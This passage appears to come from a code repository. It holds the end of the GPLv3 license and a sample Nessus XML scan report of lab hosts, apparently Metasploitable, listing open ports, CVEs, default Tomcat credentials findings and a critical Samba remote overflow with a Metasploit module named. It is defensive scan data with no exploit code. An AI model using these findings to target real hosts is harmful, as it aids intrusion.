506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients.  "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 | 
513 |   If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 | 
521 |   A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License.  You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 | 
536 |   Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 | 
540 |   12. No Surrender of Others' Freedom.
541 | 
542 |   If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License.  If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all.  For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 | 
552 |   13. Use with the GNU Affero General Public License.
553 | 
554 |   Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work.  The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 | 
563 |   14. Revised Versions of this License.
564 | 
565 |   The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time.  Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 | 
570 |   Each version is given a distinguishing version number.  If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation.  If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 | 
579 |   If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 | 
584 |   Later license versions may give you additional or different
585 | permissions.  However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 | 
589 |   15. Disclaimer of Warranty.
590 | 
591 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 | 
600 |   16. Limitation of Liability.
601 | 
602 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 | 
612 |   17. Interpretation of Sections 15 and 16.
613 | 
614 |   If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 | 
621 |                      END OF TERMS AND CONDITIONS
622 | 
623 |             How to Apply These Terms to Your New Programs
624 | 
625 |   If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 | 
629 |   To do so, attach the following notices to the program.  It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 | 
634 |     <one line to give the program's name and a brief idea of what it does.>
635 |     Copyright (C) <year>  <name of author>
636 | 
637 |     This program is free software: you can redistribute it and/or modify
638 |     it under the terms of the GNU General Public License as published by
639 |     the Free Software Foundation, either version 3 of the License, or
640 |     (at your option) any later version.
641 | 
642 |     This program is distributed in the hope that it will be useful,
643 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
644 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
645 |     GNU General Public License for more details.
646 | 
647 |     You should have received a copy of the GNU General Public License
648 |     along with this program.  If not, see <https://www.gnu.org/licenses/>.
649 | 
650 | Also add information on how to contact you by electronic and paper mail.
651 | 
652 |   If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 | 
655 |     <program>  Copyright (C) <year>  <name of author>
656 |     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 |     This is free software, and you are welcome to redistribute it
658 |     under certain conditions; type `show c' for details.
659 | 
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License.  Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 | 
664 |   You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | <https://www.gnu.org/licenses/>.
668 | 
669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library.  If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License.  But first, please read
674 | <https://www.gnu.org/licenses/why-not-lgpl.html>.
675 | 


--------------------------------------------------------------------------------
/example-scan1.nessus:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" ?>
  2 | 
  3 | <NessusClientData_v2>
  4 |     <Report xmlns:cm="http://www.nessus.org/cm" name="Scan Testbed">
  5 |         <ReportHost name="192.168.1.112">
  6 |             <HostProperties>
  7 |                 <tag name="HOST_END">Wed Jun 18 04:20:45 2014</tag>
  8 |                 <tag name="patch-summary-total-cves">1</tag>
  9 |                 <tag name="traceroute-hop-1">?</tag>
 10 |                 <tag name="traceroute-hop-0">10.10.10.20</tag>
 11 |                 <tag name="operating-system">Linux Kernel</tag>
 12 |                 <tag name="host-ip">192.168.1.112</tag>
 13 |                 <tag name="HOST_START">Wed Jun 18 04:19:21 2014</tag>
 14 |             </HostProperties>
 15 |             <ReportItem port="5353" svc_name="mdns" protocol="udp" severity="2" pluginID="12218"
 16 |                         pluginName="mDNS Detection (Remote Network)" pluginFamily="Service detection">
 17 |                 <cvss_base_score>5.0</cvss_base_score>
 18 |                 <cve>CVE-2007-2446</cve>
 19 |                 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N</cvss_vector>
 20 |                 <description>The remote service understands the Bonjour (also known as ZeroConf or mDNS) protocol, which
 21 |                     allows anyone to uncover information from the remote host such as its operating system type and
 22 |                     exact version, its hostname, and the list of services it is running.
 23 | 
 24 |                     This plugin attempts to discover mDNS used by hosts that are not on the network segment on which
 25 |                     Nessus resides.
 26 |                 </description>
 27 |                 <fname>mdns.nasl</fname>
 28 |                 <plugin_modification_date>2013/05/31</plugin_modification_date>
 29 |                 <plugin_name>mDNS Detection (Remote Network)</plugin_name>
 30 |                 <plugin_publication_date>2004/04/28</plugin_publication_date>
 31 |                 <plugin_type>remote</plugin_type>
 32 |                 <risk_factor>Medium</risk_factor>
 33 |                 <script_version>$Revision: 1.26 $</script_version>
 34 |                 <solution>Filter incoming traffic to UDP port 5353, if desired.</solution>
 35 |                 <synopsis>It is possible to obtain information about the remote host.</synopsis>
 36 |                 <plugin_output>Nessus was able to extract the following information :
 37 | 
 38 |                     - mDNS hostname : toto-desktop.local.
 39 | 
 40 |                     - Advertised services :
 41 |                     o Service name : toto-desktop [00:0c:29:ee:24:05]._workstation._tcp.local.
 42 |                     Port number : 9
 43 | 
 44 |                     - CPU type : X86_64
 45 |                     - OS : LINUX
 46 |                 </plugin_output>
 47 |             </ReportItem>
 48 |         </ReportHost>
 49 |         <ReportHost name="192.168.1.111">
 50 |             <HostProperties>
 51 |                 <tag name="HOST_END">Wed Jun 18 04:20:46 2014</tag>
 52 |                 <tag name="patch-summary-total-cves">1</tag>
 53 |                 <tag name="traceroute-hop-1">?</tag>
 54 |                 <tag name="traceroute-hop-0">10.10.10.20</tag>
 55 |                 <tag name="operating-system">Linux Kernel</tag>
 56 |                 <tag name="host-ip">192.168.1.111</tag>
 57 |                 <tag name="HOST_START">Wed Jun 18 04:19:21 2014</tag>
 58 |             </HostProperties>
 59 |             <ReportItem port="5353" svc_name="mdns" protocol="udp" severity="2" pluginID="12218"
 60 |                         pluginName="mDNS Detection (Remote Network)" pluginFamily="Service detection">
 61 |                 <cvss_base_score>5.0</cvss_base_score>
 62 |                 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N</cvss_vector>
 63 |                 <description>The remote service understands the Bonjour (also known as ZeroConf or mDNS) protocol, which
 64 |                     allows anyone to uncover information from the remote host such as its operating system type and
 65 |                     exact version, its hostname, and the list of services it is running.
 66 | 
 67 |                     This plugin attempts to discover mDNS used by hosts that are not on the network segment on which
 68 |                     Nessus resides.
 69 |                 </description>
 70 |                 <fname>mdns.nasl</fname>
 71 |                 <plugin_modification_date>2013/05/31</plugin_modification_date>
 72 |                 <plugin_name>mDNS Detection (Remote Network)</plugin_name>
 73 |                 <plugin_publication_date>2004/04/28</plugin_publication_date>
 74 |                 <plugin_type>remote</plugin_type>
 75 |                 <risk_factor>Medium</risk_factor>
 76 |                 <script_version>$Revision: 1.26 $</script_version>
 77 |                 <solution>Filter incoming traffic to UDP port 5353, if desired.</solution>
 78 |                 <synopsis>It is possible to obtain information about the remote host.</synopsis>
 79 |                 <plugin_output>Nessus was able to extract the following information :
 80 | 
 81 |                     - mDNS hostname : toto-desktop-3.local.
 82 | 
 83 |                     - Advertised services :
 84 |                     o Service name : toto-desktop-3 [00:0c:29:70:4d:68]._workstation._tcp.local.
 85 |                     Port number : 9
 86 | 
 87 |                     - CPU type : X86_64
 88 |                     - OS : LINUX
 89 |                 </plugin_output>
 90 |             </ReportItem>
 91 |         </ReportHost>
 92 |         <ReportHost name="10.15.10.14">
 93 |             <HostProperties>
 94 |                 <tag name="HOST_END">Wed Jun 18 04:25:17 2014</tag>
 95 |                 <tag name="patch-summary-total-cves">18</tag>
 96 |                 <tag name="patch-summary-cves-0ce02e42cd03dd8290178f03c2a16836">CVE-2010-4094, CVE-2010-0557,
 97 |                     CVE-2009-3548, CVE-2009-3099
 98 |                 </tag>
 99 |                 <tag name="patch-summary-cve-num-0ce02e42cd03dd8290178f03c2a16836">4</tag>
100 |                 <tag name="patch-summary-txt-0ce02e42cd03dd8290178f03c2a16836">Apache Tomcat Manager Common
101 |                     Administrative Credentials: Edit the associated &apos;tomcat-users.xml&apos; file and change or
102 |                     remove the affected set of credentials.
103 |                 </tag>
104 |                 <tag name="cpe-1">cpe:/a:isc:bind:9.4.</tag>
105 |                 <tag name="cpe-0">cpe:/o:linux:linux_kernel:2.6</tag>
106 |                 <tag name="system-type">general-purpose</tag>
107 |                 <tag name="operating-system">Linux Kernel 2.6</tag>
108 |                 <tag name="traceroute-hop-1">10.15.10.14</tag>
109 |                 <tag name="traceroute-hop-0">10.10.10.20</tag>
110 |                 <tag name="host-ip">10.15.10.14</tag>
111 |                 <tag name="HOST_START">Wed Jun 18 04:19:21 2014</tag>
112 |             </HostProperties>
113 |             <ReportItem port="8180" svc_name="www" protocol="tcp" severity="0" pluginID="22964"
114 |                         pluginName="Service Detection" pluginFamily="Service detection">
115 |                 <description>It was possible to identify the remote service by its banner or by looking at the error
116 |                     message it sends when it receives an HTTP request.
117 |                 </description>
118 |                 <fname>find_service.nasl</fname>
119 |                 <plugin_modification_date>2014/06/03</plugin_modification_date>
120 |                 <plugin_name>Service Detection</plugin_name>
121 |                 <plugin_publication_date>2007/08/19</plugin_publication_date>
122 |                 <plugin_type>remote</plugin_type>
123 |                 <risk_factor>None</risk_factor>
124 |                 <script_version>$Revision: 1.137 $</script_version>
125 |                 <solution>n/a</solution>
126 |                 <synopsis>The remote service could be identified.</synopsis>
127 |                 <plugin_output>A web server is running on this port.</plugin_output>
128 |             </ReportItem>
129 |             <ReportItem port="6667" svc_name="irc" protocol="tcp" severity="0" pluginID="22964"
130 |                         pluginName="Service Detection" pluginFamily="Service detection">
131 |                 <description>It was possible to identify the remote service by its banner or by looking at the error
132 |                     message it sends when it receives an HTTP request.
133 |                 </description>
134 |                 <fname>find_service.nasl</fname>
135 |                 <plugin_modification_date>2014/06/03</plugin_modification_date>
136 |                 <plugin_name>Service Detection</plugin_name>
137 |                 <plugin_publication_date>2007/08/19</plugin_publication_date>
138 |                 <plugin_type>remote</plugin_type>
139 |                 <risk_factor>None</risk_factor>
140 |                 <script_version>$Revision: 1.137 $</script_version>
141 |                 <solution>n/a</solution>
142 |                 <synopsis>The remote service could be identified.</synopsis>
143 |                 <plugin_output>An IRC server seems to be running on this port is running on this port.</plugin_output>
144 |             </ReportItem>
145 |             <ReportItem port="5900" svc_name="vnc" protocol="tcp" severity="0" pluginID="22964"
146 |                         pluginName="Service Detection" pluginFamily="Service detection">
147 |                 <description>It was possible to identify the remote service by its banner or by looking at the error
148 |                     message it sends when it receives an HTTP request.
149 |                 </description>
150 |                 <fname>find_service.nasl</fname>
151 |                 <plugin_modification_date>2014/06/03</plugin_modification_date>
152 |                 <plugin_name>Service Detection</plugin_name>
153 |                 <plugin_publication_date>2007/08/19</plugin_publication_date>
154 |                 <plugin_type>remote</plugin_type>
155 |                 <risk_factor>None</risk_factor>
156 |                 <script_version>$Revision: 1.137 $</script_version>
157 |                 <solution>n/a</solution>
158 |                 <synopsis>The remote service could be identified.</synopsis>
159 |                 <plugin_output>A vnc server is running on this port.</plugin_output>
160 |             </ReportItem>
161 |             <ReportItem port="25" svc_name="smtp" protocol="tcp" severity="0" pluginID="22964"
162 |                         pluginName="Service Detection" pluginFamily="Service detection">
163 |                 <description>It was possible to identify the remote service by its banner or by looking at the error
164 |                     message it sends when it receives an HTTP request.
165 |                 </description>
166 |                 <fname>find_service.nasl</fname>
167 |                 <plugin_modification_date>2014/06/03</plugin_modification_date>
168 |                 <plugin_name>Service Detection</plugin_name>
169 |                 <plugin_publication_date>2007/08/19</plugin_publication_date>
170 |                 <plugin_type>remote</plugin_type>
171 |                 <risk_factor>None</risk_factor>
172 |                 <script_version>$Revision: 1.137 $</script_version>
173 |                 <solution>n/a</solution>
174 |                 <synopsis>The remote service could be identified.</synopsis>
175 |                 <plugin_output>An SMTP server is running on this port.</plugin_output>
176 |             </ReportItem>
177 |             <ReportItem port="443" svc_name="general" protocol="icmp" severity="0" pluginID="10114"
178 |                         pluginName="ICMP Timestamp Request Remote Date Disclosure" pluginFamily="General">
179 |                 <cve>CVE-1999-0524</cve>
180 |                 <cwe>200</cwe>
181 |                 <description>The remote host answers to an ICMP timestamp request. This allows an attacker to know the
182 |                     date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in
183 |                     defeating time-based authentication protocols.
184 | 
185 |                     Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately
186 |                     incorrect, but usually within 1000 seconds of the actual system time.
187 |                 </description>
188 |                 <fname>icmp_timestamp.nasl</fname>
189 |                 <osvdb>94</osvdb>
190 |                 <plugin_modification_date>2012/06/18</plugin_modification_date>
191 |                 <plugin_name>ICMP Timestamp Request Remote Date Disclosure</plugin_name>
192 |                 <plugin_publication_date>1999/08/01</plugin_publication_date>
193 |                 <plugin_type>remote</plugin_type>
194 |                 <risk_factor>None</risk_factor>
195 |                 <script_version>$Revision: 1.45 $</script_version>
196 |                 <solution>Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).
197 |                 </solution>
198 |                 <synopsis>It is possible to determine the exact time set on the remote host.</synopsis>
199 |                 <vuln_publication_date>1995/01/01</vuln_publication_date>
200 |                 <xref>OSVDB:94</xref>
201 |                 <xref>CWE:200</xref>
202 |                 <plugin_output>The difference between the local and remote clocks is -60 seconds.
203 |                 </plugin_output>
204 |             </ReportItem>
205 |             <ReportItem port="53" svc_name="dns" protocol="udp" severity="0" pluginID="10028"
206 |                         pluginName="DNS Server BIND version Directive Remote Version Detection" pluginFamily="DNS">
207 |                 <cpe>cpe:/a:isc:bind</cpe>
208 |                 <description>The remote host is running BIND or another DNS server that reports its version number when
209 |                     it receives a special request for the text &apos;version.bind&apos; in the domain &apos;chaos&apos;.
210 | 
211 |                     This version is not necessarily accurate and could even be forged, as some DNS servers send the
212 |                     information based on a configuration file.
213 |                 </description>
214 |                 <fname>bind_version.nasl</fname>
215 |                 <plugin_modification_date>2014/05/09</plugin_modification_date>
216 |                 <plugin_name>DNS Server BIND version Directive Remote Version Detection</plugin_name>
217 |                 <plugin_publication_date>1999/10/12</plugin_publication_date>
218 |                 <plugin_type>remote</plugin_type>
219 |                 <risk_factor>None</risk_factor>
220 |                 <script_version>$Revision: 1.53 $</script_version>
221 |                 <solution>It is possible to hide the version number of BIND by using the &apos;version&apos; directive
222 |                     in the &apos;options&apos; section in named.conf.
223 |                 </solution>
224 |                 <synopsis>It is possible to obtain the version number of the remote DNS server.</synopsis>
225 |                 <plugin_output>
226 |                     Version : 9.4.2
227 |                 </plugin_output>
228 |             </ReportItem>
229 |             <ReportItem port="53" svc_name="dns" protocol="udp" severity="0" pluginID="35371"
230 |                         pluginName="DNS Server hostname.bind Map Hostname Disclosure" pluginFamily="DNS">
231 |                 <cpe>cpe:/a:isc:bind</cpe>
232 |                 <description>It is possible to learn the remote host name by querying the remote DNS server for &apos;hostname.bind&apos;
233 |                     in the CHAOS domain.
234 |                 </description>
235 |                 <fname>bind_hostname.nasl</fname>
236 |                 <plugin_modification_date>2011/09/14</plugin_modification_date>
237 |                 <plugin_name>DNS Server hostname.bind Map Hostname Disclosure</plugin_name>
238 |                 <plugin_publication_date>2009/01/15</plugin_publication_date>
239 |                 <plugin_type>remote</plugin_type>
240 |                 <risk_factor>None</risk_factor>
241 |                 <script_version>$Revision: 1.11 $</script_version>
242 |                 <solution>It may be possible to disable this feature. Consult the vendor&apos;s documentation for more
243 |                     information.
244 |                 </solution>
245 |                 <synopsis>The DNS server discloses the remote host name.</synopsis>
246 |                 <plugin_output>
247 |                     The remote host name is :
248 | 
249 |                     metasploitable
250 |                 </plugin_output>
251 |             </ReportItem>
252 |             <ReportItem port="8180" svc_name="www" protocol="tcp" severity="0" pluginID="11219"
253 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
254 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
255 |                     against a firewalled target.
256 | 
257 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
258 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
259 |                     remote target, if the network is loaded.
260 |                 </description>
261 |                 <fname>nessus_syn_scanner.nbin</fname>
262 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
263 |                 <plugin_name>Nessus SYN scanner</plugin_name>
264 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
265 |                 <plugin_type>remote</plugin_type>
266 |                 <risk_factor>None</risk_factor>
267 |                 <script_version>$Revision: 1.20 $</script_version>
268 |                 <solution>Protect your target with an IP filter.</solution>
269 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
270 |                 <plugin_output>Port 8180/tcp was found to be open</plugin_output>
271 |             </ReportItem>
272 |             <ReportItem port="111" svc_name="rpc-portmapper" protocol="tcp" severity="0" pluginID="11219"
273 |                         pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
274 |                 <description>This plugin is a SYN &apos;half-open&apos; port scanner. It shall be reasonably quick even
275 |                     against a firewalled target.
276 | 
277 |                     Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but
278 |                     they might cause problems for less robust firewalls and also leave unclosed connections on the
279 |                     remote target, if the network is loaded.
280 |                 </description>
281 |                 <fname>nessus_syn_scanner.nbin</fname>
282 |                 <plugin_modification_date>2014/01/23</plugin_modification_date>
283 |                 <plugin_name>Nessus SYN scanner</plugin_name>
284 |                 <plugin_publication_date>2009/02/04</plugin_publication_date>
285 |                 <plugin_type>remote</plugin_type>
286 |                 <risk_factor>None</risk_factor>
287 |                 <script_version>$Revision: 1.20 $</script_version>
288 |                 <solution>Protect your target with an IP filter.</solution>
289 |                 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
290 |                 <plugin_output>Port 111/tcp was found to be open</plugin_output>
291 |             </ReportItem>
292 |         </ReportHost>
293 |         <ReportHost name="10.15.10.11">
294 |             <HostProperties>
295 |                 <tag name="HOST_END">Wed Jun 18 04:24:22 2014</tag>
296 |                 <tag name="patch-summary-total-cves">12</tag>
297 |                 <tag name="patch-summary-cves-0ce02e42cd03dd8290178f03c2a16836">CVE-2010-4094, CVE-2010-0557,
298 |                     CVE-2009-3548, CVE-2009-3099
299 |                 </tag>
300 |                 <tag name="patch-summary-cve-num-0ce02e42cd03dd8290178f03c2a16836">4</tag>
301 |                 <tag name="patch-summary-txt-0ce02e42cd03dd8290178f03c2a16836">Apache Tomcat Manager Common
302 |                     Administrative Credentials: Edit the associated &apos;tomcat-users.xml&apos; file and change or
303 |                     remove the affected set of credentials.
304 |                 </tag>
305 |                 <tag name="patch-summary-cves-ec0c30778faac81c1b29f0d59d2a4595">CVE-2007-2446</tag>
306 |                 <tag name="patch-summary-cve-num-ec0c30778faac81c1b29f0d59d2a4595">1</tag>
307 |                 <tag name="patch-summary-txt-ec0c30778faac81c1b29f0d59d2a4595">Samba NDR MS-RPC Request Heap-Based
308 |                     Remote Buffer Overflow: Upgrade to Samba version 3.0.25 or later.
309 |                 </tag>
310 |                 <tag name="cpe-2">cpe:/a:isc:bind:9.4.</tag>
311 |                 <tag name="cpe-1">cpe:/a:samba:samba:3.0.20 -&gt; Samba 3.0.20</tag>
312 |                 <tag name="cpe-0">cpe:/o:linux:linux_kernel:2.6</tag>
313 |                 <tag name="system-type">general-purpose</tag>
314 |                 <tag name="operating-system">Linux Kernel 2.6</tag>
315 |                 <tag name="traceroute-hop-1">10.15.10.11</tag>
316 |                 <tag name="traceroute-hop-0">10.10.10.20</tag>
317 |                 <tag name="netbios-name">METASPLOITABLE</tag>
318 |                 <tag name="host-ip">10.15.10.11</tag>
319 |                 <tag name="HOST_START">Wed Jun 18 04:19:21 2014</tag>
320 |             </HostProperties>
321 |             <ReportItem port="53" svc_name="dns" protocol="udp" severity="0" pluginID="11002"
322 |                         pluginName="DNS Server Detection" pluginFamily="DNS">
323 |                 <description>The remote service is a Domain Name System (DNS) server, which provides a mapping between
324 |                     hostnames and IP addresses.
325 |                 </description>
326 |                 <fname>dns_server.nasl</fname>
327 |                 <plugin_modification_date>2013/05/07</plugin_modification_date>
328 |                 <plugin_name>DNS Server Detection</plugin_name>
329 |                 <plugin_publication_date>2003/02/13</plugin_publication_date>
330 |                 <plugin_type>remote</plugin_type>
331 |                 <risk_factor>None</risk_factor>
332 |                 <script_version>$Revision: 1.20 $</script_version>
333 |                 <see_also>http://en.wikipedia.org/wiki/Domain_Name_System</see_also>
334 |                 <solution>Disable this service if it is not needed or restrict access to internal hosts only if the
335 |                     service is available externally.
336 |                 </solution>
337 |                 <synopsis>A DNS server is listening on the remote host.</synopsis>
338 |             </ReportItem>
339 |             <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="25220"
340 |                         pluginName="TCP/IP Timestamps Supported" pluginFamily="General">
341 |                 <description>The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this
342 |                     feature is that the uptime of the remote host can sometimes be computed.
343 |                 </description>
344 |                 <fname>tcp_timestamps.nasl</fname>
345 |                 <plugin_modification_date>2011/03/20</plugin_modification_date>
346 |                 <plugin_name>TCP/IP Timestamps Supported</plugin_name>
347 |                 <plugin_publication_date>2007/05/16</plugin_publication_date>
348 |                 <plugin_type>remote</plugin_type>
349 |                 <risk_factor>None</risk_factor>
350 |                 <script_version>1.19</script_version>
351 |                 <see_also>http://www.ietf.org/rfc/rfc1323.txt</see_also>
352 |                 <solution>n/a</solution>
353 |                 <synopsis>The remote service implements TCP timestamps.</synopsis>
354 |             </ReportItem>
355 |             <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287"
356 |                         pluginName="Traceroute Information" pluginFamily="General">
357 |                 <description>Makes a traceroute to the remote host.</description>
358 |                 <fname>traceroute.nasl</fname>
359 |                 <plugin_modification_date>2013/04/11</plugin_modification_date>
360 |                 <plugin_name>Traceroute Information</plugin_name>
361 |                 <plugin_publication_date>1999/11/27</plugin_publication_date>
362 |                 <plugin_type>remote</plugin_type>
363 |                 <risk_factor>None</risk_factor>
364 |                 <script_version>1.62</script_version>
365 |                 <solution>n/a</solution>
366 |                 <synopsis>It was possible to obtain traceroute information.</synopsis>
367 |                 <plugin_output>For your information, here is the traceroute from 10.10.10.3 to 10.15.10.11 :
368 |                     10.10.10.3
369 |                     10.10.10.20
370 |                     10.15.10.11
371 |                 </plugin_output>
372 |             </ReportItem>
373 |             <ReportItem port="443" svc_name="cifs" protocol="tcp" severity="4" pluginID="25216"
374 |                         pluginName="Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow" pluginFamily="Misc.">
375 |                 <bid>23973</bid>
376 |                 <bid>24195</bid>
377 |                 <bid>24196</bid>
378 |                 <bid>24197</bid>
379 |                 <bid>24198</bid>
380 |                 <canvas_package>CANVAS</canvas_package>
381 |                 <cpe>cpe:/a:samba:samba</cpe>
382 |                 <cve>CVE-2007-2446</cve>
383 |                 <cvss_base_score>10.0</cvss_base_score>
384 |                 <cvss_temporal_score>7.8</cvss_temporal_score>
385 |                 <cvss_temporal_vector>CVSS2#E:POC/RL:OF/RC:C</cvss_temporal_vector>
386 |                 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C</cvss_vector>
387 |                 <description>The version of the Samba server installed on the remote host is affected by multiple heap
388 |                     overflow vulnerabilities, which can be exploited remotely to execute code with the privileges of the
389 |                     Samba daemon.
390 |                 </description>
391 |                 <exploit_available>true</exploit_available>
392 |                 <exploit_framework_canvas>true</exploit_framework_canvas>
393 |                 <exploit_framework_metasploit>true</exploit_framework_metasploit>
394 |                 <exploitability_ease>Exploits are available</exploitability_ease>
395 |                 <fname>samba_overflow.nasl</fname>
396 |                 <metasploit_name>Samba lsa_io_trans_names Heap Overflow</metasploit_name>
397 |                 <osvdb>34699</osvdb>
398 |                 <osvdb>34731</osvdb>
399 |                 <osvdb>34732</osvdb>
400 |                 <osvdb>34733</osvdb>
401 |                 <patch_publication_date>2007/07/11</patch_publication_date>
402 |                 <plugin_modification_date>2013/02/01</plugin_modification_date>
403 |                 <plugin_name>Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow</plugin_name>
404 |                 <plugin_publication_date>2007/05/15</plugin_publication_date>
405 |                 <plugin_type>local</plugin_type>
406 |                 <risk_factor>Critical</risk_factor>
407 |                 <script_version>$Revision: 1.15 $</script_version>
408 |                 <see_also>http://www.samba.org/samba/security/CVE-2007-2446.html</see_also>
409 |                 <solution>Upgrade to Samba version 3.0.25 or later.</solution>
410 |                 <synopsis>It is possible to execute code on the remote host through Samba.</synopsis>
411 |                 <vuln_publication_date>2007/05/14</vuln_publication_date>
412 |                 <xref>OSVDB:34699</xref>
413 |                 <xref>OSVDB:34731</xref>
414 |                 <xref>OSVDB:34732</xref>
415 |                 <xref>OSVDB:34733</xref>
416 |             </ReportItem>
417 |             <ReportItem port="443" svc_name="cifs" protocol="tcp" severity="3" pluginID="42411"
418 |                         pluginName="Microsoft Windows SMB Shares Unprivileged Access" pluginFamily="Windows">
419 |                 <bid>8026</bid>
420 |                 <cve>CVE-1999-0519</cve>
421 |                 <cve>CVE-1999-0520</cve>
422 |                 <cvss_base_score>7.5</cvss_base_score>
423 |                 <cvss_temporal_score>7.5</cvss_temporal_score>
